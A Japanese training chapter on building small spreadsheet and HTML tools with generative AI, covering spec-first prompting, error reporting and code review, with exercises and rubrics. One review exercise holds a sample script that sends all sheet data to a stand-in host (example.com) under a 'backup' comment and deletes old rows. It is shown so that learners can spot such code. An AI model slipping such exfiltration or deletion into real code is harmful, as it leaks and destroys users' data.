この章で学ぶこと
生成AIを使えば、プログラミングの経験が少なくても、業務用の小さなツールを作れるようになりました。 ただし、「作ってほしいものを一言で頼み、出てきたコードをそのまま動かす」やり方は危険です。 動かないだけならまだしも、意図しないファイルの変更や、データの外部送信につながることもあります。
この章では、簡易ツールの作成を題材に、次の3つを練習します。
- コードを書かせる前に、仕様(何をするツールか)を固める
- エラーが出たとき、AIが原因を特定できる情報を渡す
- 他人(またはAI)が書いたコードを、実行する前にレビューする
第1章の5要素(目的・入力・制約・出力形式・検証)は、この章でも使います。 素材はすべて架空のものです。 本コースは実務練習用の教材です。AIの出力は必ず人が検証してください。
コードを動かす前に、必ずテスト用のコピー(複製したシートやフォルダ)で試してください。 本物のデータで初めて動かすのは、動作を確認してからです。
この章の前提
この章は、「すでに、自分で作ったプログラムやアプリを、自分のパソコンで起動できる人」を対象にしています。 AIにプログラムを書かせることはできても、ターミナル、ライブラリの取得、GitHubといった用語が分からず、動かす手前で止まる人は多いものです。 書いたプログラムを、自分のパソコンで動かして確かめられなければ、この章の練習は成り立ちません。
この章の題材(Googleスプレッドシートのスクリプト、ブラウザで開くHTML)は、特別な環境づくりを必要としません。 それでも、「コードを貼り付けて動かし、結果を確かめる」という作業に慣れていることが前提です。
その作業が初めてという方は、先に、事前準備編のコラム生成AIでプログラミングをするための事前準備から始めてください。 Pythonの定番の題材(TODOアプリ)を、AIと対話しながら、自分のパソコンで動かすところまでを体験できます。
このユースケースが起きる場面
スプレッドシートの期限管理、毎週のメール通知、ファイルの名前の一括変更。 「手作業だと面倒だが、専用のシステムを作るほどではない」作業は、職場に多くあります。
AIを使うと、次のような失敗が起きます。
- 曖昧な依頼から、意図と違う動きのツールができる
- エラーが出ても、AIに正しい情報を渡せず、堂々巡りになる
- 動くコードが、実は、意図していない処理(削除・外部送信など)を含んでいる
コードを書く力が少なくても、仕様を書く力、確認する力があれば、これらは防げます。
プロンプト設計シート(再掲)
**目的**:誰に・何のために・何を作るか
**入力**:AIに渡す素材は何か(機密は伏せたか)
**制約**:やってはいけないこと・守るルール
**出力形式**:表・箇条書き・文字数など
**検証**:出力が正しいか、何と突き合わせるかコードの依頼では、「制約」に、実行環境と、してはいけない操作(削除・外部送信・共有設定の変更など)を入れることが特に大切です。
どのAIに頼むか:Googleスプレッドシートなら、Geminiが近道
この章の題材は、Googleスプレッドシートです。 Googleのサービス(Google Workspace)を使っている職場なら、同じGoogleのAIであるGeminiを使うのが、最も手間の少ない方法です。
スプレッドシートの右上にある「Gemini に相談」のアイコンを押すと、画面の右側にGeminiのチャットが開きます。 ここに依頼を入力すれば、コピーして貼り付ける手間なしで、スプレッドシートに直接作業してもらえます。 公式ヘルプでは、次のようなことができると案内されています。
- 表や数式、グラフの作成、データの分析
- 条件付き書式、ピボットテーブル、プルダウン、フィルタ、検索と置換の操作
たとえば、この章の実例(期限が近いタスクの行に色を付ける)は、スクリプトを書かなくても、条件付き書式で済む場合があります。 簡単な作業は、まずスプレッドシートのGeminiに頼み、スクリプトが必要になったときに、コードを書かせる、という順序が効率的です。
ただし、次の点に注意してください。
- スプレッドシートのGeminiを使うには、対象のGoogle WorkspaceまたはGoogle AIのプランへの加入が必要です
- Googleスプレッドシート形式のファイルで、最も効果的に動きます。Excelのファイルは、「Googleスプレッドシートとして保存」してから使います
- 会話の履歴は、ブラウザを再読み込みすると失われることがあります。大切な依頼文と結果は、別に控えておきます
- 「Gemini に相談」などの名称や場所は、更新されることがあります
スクリプト(Google Apps Script)そのものを書く場合は、Apps Scriptのエディタの中にも、Geminiのパネルがあります。 コードの生成、修正、エラーの原因調査ができると、Googleの公式ドキュメントで案内されています。 ただし、この機能は現在ベータ版で、対象の顧客が限られ、英語のみの提供です。使えない場合は、下の方法を使います。
Gemini以外のAIを使う場合や、Geminiが使えない場合の主な方法は、次のとおりです。
| 方法 | 進め方 | 注意点 |
|---|---|---|
| ChatGPTやClaudeなどのチャット | スプレッドシートを、CSVやExcelのファイルとして保存し、AIに添付して依頼する。または、列構成とサンプル行を貼り付ける | シートの中身を、外部のAIに渡すことになる。機密を伏せ、社内のAI利用ルールを確認する |
| ファイルを直接読み書きするAI(Claude Code、Codexなど) | パソコン上のファイルを、AIが直接読み、書き換える | 事前準備が必要(この章の前提を参照)。元のファイルは、必ずコピーを取ってから使う |
どの方法でも、生成されたコードや数式は、テスト用のコピーで試してから、本物のデータに使うという原則は変わりません。
実例:期限が近いタスクの行に、色を付ける
状況と素材
あなたは、チームのタスク管理をGoogleスプレッドシートで行っています。 「期限が3日以内で、まだ完了していないタスクの行に、色を付けたい」と考えています。
シート名:タスク
A列:タスク B列:担当 C列:期限(日付) D列:状態
※1行目は見出し
タスク 担当 期限 状態
資料作成 山田 2026/10/8 進行中
見積提出 井上 2026/10/6 未着手
報告書 中村 2026/10/2 完了悪い指示とその失敗
期限が近いタスクに色を付けるスクリプトを書いて。返ってくるのは、次のようなものです。
以下のスクリプトを、スプレッドシートに貼り付けて実行してください。(コードのみが示される)
失敗は、次の3点です。
- 「期限が近い」が何日以内か、AIが勝手に決めている
- 完了したタスクを対象に含めるかが、決まっていない
- シート名・列の構成が、AIの想定と違っても、気づけない
コードは動いても、意図とは違う動きをするかもしれません。
改善したプロンプト
あなたは、Google Apps Scriptに詳しい担当者です。以下の仕様のスクリプトを作成してください。
**目的**
タスク管理のシートで、期限が3日以内で、まだ完了していないタスクの行に、背景色を付ける。
**入力**
Googleスプレッドシート。シート名は「タスク」。
A列:タスク、B列:担当、C列:期限(日付)、D列:状態。1行目は見出し。
(サンプル行を貼る)
**制約**
- 「期限が3日以内」は、今日から3日後までとする。期限を過ぎているものも含める
- D列が「完了」の行は、色を付けない(既に色があれば、消す)
- シートの中身を、削除・変更しない(背景色の変更のみ)
- 外部への通信・メール送信は行わない
- コードには、各処理の意図がわかる短いコメントを付ける
**出力形式**
1. 実行前に確認したい点(あれば、質問として列挙)
2. スクリプト全体
3. 動作確認の手順(テスト用のシートで、どんな行を用意し、どうなれば成功か)AIの出力と、人が確認した点
このプロンプトには、まず「確認したい点」が返ってきます。
確認したい点:①「期限が今日」の行は対象に含めますか。②「状態」が空欄の行は、未完了として扱いますか。
質問に答えてから、コードを受け取ります。次は、AIの出力例です。
function highlightDeadlines() {
const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('タスク');
const values = sheet.getDataRange().getValues();
const today = new Date();
today.setHours(0, 0, 0, 0);
// 2行目以降(1行目は見出し)を順に調べる
for (let i = 1; i < values.length; i++) {
const deadline = new Date(values[i][2]);
const status = values[i][3];
const diffDays = Math.ceil((deadline - today) / (1000 * 60 * 60 * 24));
const range = sheet.getRange(i + 1, 1, 1, 4);
// 未完了で、期限が3日以内(期限切れも含む)なら色を付ける
if (status !== '完了' && diffDays <= 3) {
range.setBackground('#ffe0e0');
} else {
range.setBackground(null);
}
}
}人が確認する点は、次のとおりです。
- コードの全体を読み、削除・外部送信などの処理(
deleteRow、UrlFetchApp、MailAppなど)が含まれていないか - 各行の意図が、コメントと合っているか
- テスト用のシートで、期限が今日、3日後、4日後、過去、完了済みの5パターンを用意し、意図どおりの色になるか
コードの意味が完全には分からなくても、「何をしているか」を、AIに一行ずつ説明させて、確認できます。
設計メモ:なぜこの書き方か
| 要素 | 実例での書き方 | 効いた理由 |
|---|---|---|
| 目的 | 「期限が3日以内で、未完了の行に色を付ける」 | 1つの機能に絞ると、間違いにくい |
| 入力 | シート名・列構成・サンプル行 | AIが構造を推測しなくてよくなる |
| 制約 | 「期限切れを含む」「完了は対象外」「削除・外部通信しない」 | 曖昧な仕様を先に固め、危険な操作を禁止した |
| 出力形式 | 質問→コード→テスト手順 | コードを書く前に、仕様の穴が見つかる |
| 検証 | テスト用のシートで、5パターンを確認 | 境界の条件(今日・3日後・4日後)を試せる |
コードを依頼する前に、「確認したい点を質問して」と頼むのは、非常に効果的です。 AIは、質問の機会がないと、曖昧なところを自分で決めて進めてしまいます。
練習問題
進め方は全問共通です。
- 素材を読み、プロンプト設計シートの5要素を自分で埋める(AIはまだ使わない)
- 埋めた内容をもとにプロンプトを書き、普段使うAIで実行する
- 出力をルーブリックで自己採点する
- 解説を開き、自分の設計と比べる
コードは、テスト用のコピーで試してください。本物のデータや、共有中のファイルで、最初から試してはいけません。
問1 曖昧な要望を、仕様に落とす
状況:上司から、「毎週月曜に、未完了のタスクを担当者に、メールで知らせる仕組みを作れないか」と頼まれました。まだ、要件は曖昧です。
成果物:仕様の確認事項リスト(質問)と、仕様の案。この問題では、コード自体は作りません。
【上司の要望】
毎週月曜に、未完了のタスクを担当者にメールで知らせたい。
【現状の情報】
- タスクは、この章の実例と同じスプレッドシートで管理している
- 担当者のメールアドレスは、まだシートに入っていない
- メールが多すぎると、みんな読まなくなるので、それは避けたいルーブリック(自己採点)
- 確認事項に、「メールアドレスの管理場所」「送信のタイミング(何時か)」「未完了の定義」が含まれている
- 確認事項に、「期限切れのタスクを含めるか」「1人に1通にまとめるか」が含まれている
- 仕様の案に、「入力(シートの列)」「処理」「出力(メールの件名・本文の例)」がある
- 制約に、「最初のテストは、自分宛のみに送信する」が含まれている
- プロンプトで、「コードを書く前に、仕様の質問をして」と指示した
よくある失敗と解説
この問題のねらいは、コードを書く前に、仕様の穴を、AIと一緒に洗い出すことです。 「メールを送る」ツールは、間違えると、たくさんの人に誤ったメールが届きます。 実行前の確認が、他の章より、重要になります。
使える依頼の型は次のとおりです。
以下の要望を実現するツールを作りたいです。コードを書く前に、仕様を固めるために、確認すべき点を質問として列挙してください。
**制約**
- 質問は、重要度の高い順に、10個以内
- 各質問には、「もしこの点が曖昧だと、どんな問題が起きるか」を添える
- 私が答えるまで、コードは書かない質問に答えていくと、それがそのまま仕様書になります。 最初のテストは、自分宛のみに送るという制約は、動作確認の基本です。
問2 エラーを、AIに正しく伝える
状況:実例のスクリプトを、シートに貼り付けて実行したところ、エラーが出ました。
成果物:AIに原因を調べさせるためのプロンプト。
【エラーメッセージ】
TypeError: Cannot read properties of null (reading 'getDataRange')
【状況】
- 実例のスクリプト(highlightDeadlines)を、シートに貼り付けて実行した
- エラーは、関数の3行目の const values = sheet.getDataRange().getValues(); で出ている
- 実際のシートのタブの名前は、「タスク一覧」である(コードは、実例で示したものです)
ルーブリック(自己採点)
- エラーメッセージを、全文そのまま含めた
- コードの全文を含めた(一部だけを抜き出していない)
- 「何をしようとして、何が起きたか」(どの操作で、どこで)を書いた
- 実際のシート名(タスク一覧)と、コード上のシート名(タスク)の違いに、AIが気づけるよう情報を渡した
- 「修正は、1箇所ずつ提案して」と制約に入れた
よくある失敗と解説
エラー修正が堂々巡りになる、最大の原因は、AIに渡す情報が足りないことです。 「エラーが出ました。直して」だけでは、AIは想像で修正案を出します。
渡すべき情報は、次の5点です。
- エラーメッセージの全文
- コードの全文
- どの操作をしたときに、どこで起きたか
- 実行環境(Googleスプレッドシート、Excelなど)
- 実際のデータ構造(シート名や列の構成)
今回の原因は、コード上のシート名(「タスク」)と、実際のシート名(「タスク一覧」)の不一致です。 getSheetByNameが、見つからずにnullを返し、次の行でnullに対してgetDataRangeを呼んで、エラーになりました。
もう一つのコツは、「修正は1箇所ずつ」と指示することです。 一度に何箇所も直すと、どの修正が効いたのか分からなくなります。
プログラミングでは、エラーが出るのが当たり前です。AIが書いたコードでも同じです。 大切なのは、エラーを恐れることではなく、エラーメッセージをコピーしてAIに質問し、必要に応じて修正する作業を、ためらわずに繰り返せることです。
ツールによっては、このコピーと貼り付けの手間を減らせます。 たとえば、AIを組み込んだコードエディタのCursorでは、ターミナルに表示された出力にカーソルを合わせたり、選択したりすると、「Add to Chat」「Debug with AI」といったボタンが表示され、エラー文をAIのチャットに直接送れます(Cursorの公式フォーラムで案内されている機能です。表示や操作は、バージョンによって変わることがあります)。 エラー文とコードを並べてAIに見せられるので、どこを直せばよいかを、指示しやすくなります。 Cursorには、無料のプラン(利用量に上限があります)も用意されています。
自動で送れる機能があっても、次の点は変わりません。
- 「何をしようとして、そのエラーが出たのか」は、自分の言葉で添える
- 修正案は、1箇所ずつ試し、そのたびに動かして確かめる
- 直った後の動作も、テスト用のコピーで確認する
問3 他人が書いたコードを、実行する前にレビューする
状況:同僚から、「このスクリプトを、見積の集計に使うと便利」と、コードを渡されました。実行する前に、安全かどうかを確認します。
成果物:AIにレビューさせるプロンプトと、危険な処理の指摘。
function summarizeEstimates() {
const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName('見積');
const values = sheet.getDataRange().getValues();
let total = 0;
for (let i = 1; i < values.length; i++) {
total += values[i][3];
}
sheet.getRange('F1').setValue(total);
// 送信用のバックアップ
UrlFetchApp.fetch('https://example.com/collect', {
method: 'post',
payload: JSON.stringify(values),
});
// 古い行の削除
for (let i = values.length - 1; i >= 1; i--) {
if (values[i][0] < new Date('2026-01-01')) {
sheet.deleteRow(i + 1);
}
}
}ルーブリック(自己採点)
-
UrlFetchApp.fetchが、シートの全データを外部(example.com)に送信していることを指摘できた -
sheet.deleteRowが、2026年1月1日より前の行を削除していることを指摘できた - 「見積の集計」という目的に対して、外部送信と削除は不要な処理であると判断できた
- レビューのプロンプトに、「データを外部に送る処理」「削除する処理」「必要な権限」を列挙させる指示を入れた
- 危険な処理があるコードは、実行せずに、渡してくれた人に確認する、と設計した
よくある失敗と解説
このコードは、見積の合計を出す処理の後ろに、目的と関係のない、外部送信と削除が隠れています。 実際の職場でも、便利なコードに、意図しない処理が入っていることがあります。
レビューの依頼は、次の形が使えます。
以下のコードを、実行する前にレビューしてください。
**依頼**
1. コード全体が何をするかを、処理の順に、1行ずつ説明する
2. 次の処理が含まれていれば、該当する行を引用して指摘する
- データを外部に送信する処理
- データやファイルを削除・変更する処理
- 共有設定や権限を変更する処理
3. このコードを実行するのに必要な権限を、列挙する
4. 「見積の合計を計算する」という目的に対して、不要な処理を挙げる
**制約**
- コードを修正しない。指摘のみ
- 分からない点は、「不明」と書くAIのレビューは、参考になりますが、完全ではありません。 重要なデータを扱うコードは、最終的に、詳しい人にも確認してもらってください。
問4 簡易ツールを作り、テストで確かめる
状況:入社日から、勤続の満年数を計算する、1つのHTMLファイルのツールを作ります。ブラウザで開くだけで、使えるものです。
成果物:仕様の依頼プロンプト(テストケースを含む)と、テスト結果の記録。
【仕様の案】
- 入力:入社日、基準日(どちらも日付)
- 出力:勤続の満年数(例:6年)
- 入力が正しくない場合(基準日が入社日より前など)は、エラーメッセージを表示する
【テストケース】
- 入社日 2020-04-01、基準日 2026-09-29 → 6年
- 入社日 2020-10-01、基準日 2026-09-29 → 5年(記念日の前なので、まだ満6年ではない)
- 入社日 2020-09-29、基準日 2026-09-29 → 6年(ちょうど記念日)
- 入社日 2026-10-01、基準日 2026-09-29 → エラーメッセージを表示ルーブリック(自己採点)
- 入力・出力・エラー時の動作を、プロンプトに書いた
- テストケース4つ(境界の条件を含む)を、AIに先に渡した
- 制約に、「1つのHTMLファイルで完結する」「外部への通信をしない」を入れた
- 作られたツールを、実際にブラウザで開き、4つのテストケースをすべて試した
- 1つでも期待と違えば、その入力と結果をAIに伝えて修正させた
よくある失敗と解説
この問題で覚えたいのは、先にテストケースを用意することです。 「満年数」の計算は、記念日の前後で結果が変わるため、間違いやすい分野です。 AIが作ったコードは、一見動いていても、境界の条件で誤ることがあります。
テストケースを、最初にAIに渡すことには、2つの効果があります。
- AIが、境界の条件を意識して、コードを組み立てやすくなる
- 出力された後、自分で確かめる手順が、最初から決まっている
もう一つの制約が、「1つのHTMLファイルで完結し、外部通信をしない」です。 外部のライブラリを読み込むコードは、意図しない通信につながる可能性があります。 社内で使うツールは、まず、外部と通信しない形で作ってください。
プロンプト設計の確認問題
ここまでの内容を、選択式で確認しましょう。
問1. 業務用のスクリプトをAIに作らせるとき、コードを書かせる前に「確認したい点を質問して」と頼むことの利点として、最も適切なものはどれか。
問2. スクリプトを実行したらエラーが出た。AIに原因を調べさせるために渡す情報として、最も適切な組み合わせはどれか。
問3. 同僚から渡された「集計用」のスクリプトに、シートの全データを外部のURLに送信する処理が含まれていた。対応として最も適切なものはどれか。
問4. 満年数を計算する簡易ツールをAIに作らせるとき、「入社記念日の前日」「ちょうど記念日」のようなテストケースを先に渡す理由として、最も適切なものはどれか。
繰り返し使う制約は、AIに登録して短くする
この章のプロンプトは、制約を毎回書き込む形で練習しました。 同じ業務を繰り返すなら、変わらない制約は、AIにあらかじめ登録しておくことで、依頼を短くできます。
この章で登録しておくとよいのは、実行環境と「削除・外部送信をしない」という禁止事項、コードを書く前に仕様を質問させる進め方です。 ChatGPT・Claude・Geminiでの登録手順は、生成AIに社内ルールを覚えさせるスキル設定のやり方で解説しています。 登録しても、最終確認は人が行うことに変わりはありません。
自分の職場に置き換える
この章の型を、自分の仕事に当てはめます。
- 手作業で行っている、小さな繰り返し作業を1つ選ぶ
- 「コードを書く前に、仕様の質問をして」とAIに頼み、質問に答えて仕様を固める
- 実行環境(Googleスプレッドシート、Excel、ブラウザなど)と、してはいけない操作を、制約に入れる
- 出てきたコードを、AIに一行ずつ説明させ、テスト用のコピーで、境界の条件を試す
仕上げに、S.E.L.F.ループの「F(Forge it)」として、作ったツールの使い方と注意点を、同僚向けに書いてみてください。 書けない部分が、まだ理解できていない部分です。
この章のまとめ
- コードを書かせる前に、AIに仕様の質問をさせ、曖昧な点を先に潰す
- 実行環境と、してはいけない操作(削除・外部送信・共有設定の変更)を、制約に書く
- エラーは、メッセージ全文・コード全文・状況・環境・データ構造の5点を渡す。修正は1箇所ずつ
- 他人やAIが書いたコードは、実行前に、外部送信・削除・権限をレビューする
- テストケースを先に用意し、境界の条件で確かめる。テストは、必ずコピーで行う
次の章では、運用(ログ解析・障害報告・手順書)を題材に、「事実と仮説を分けて書く」練習をします。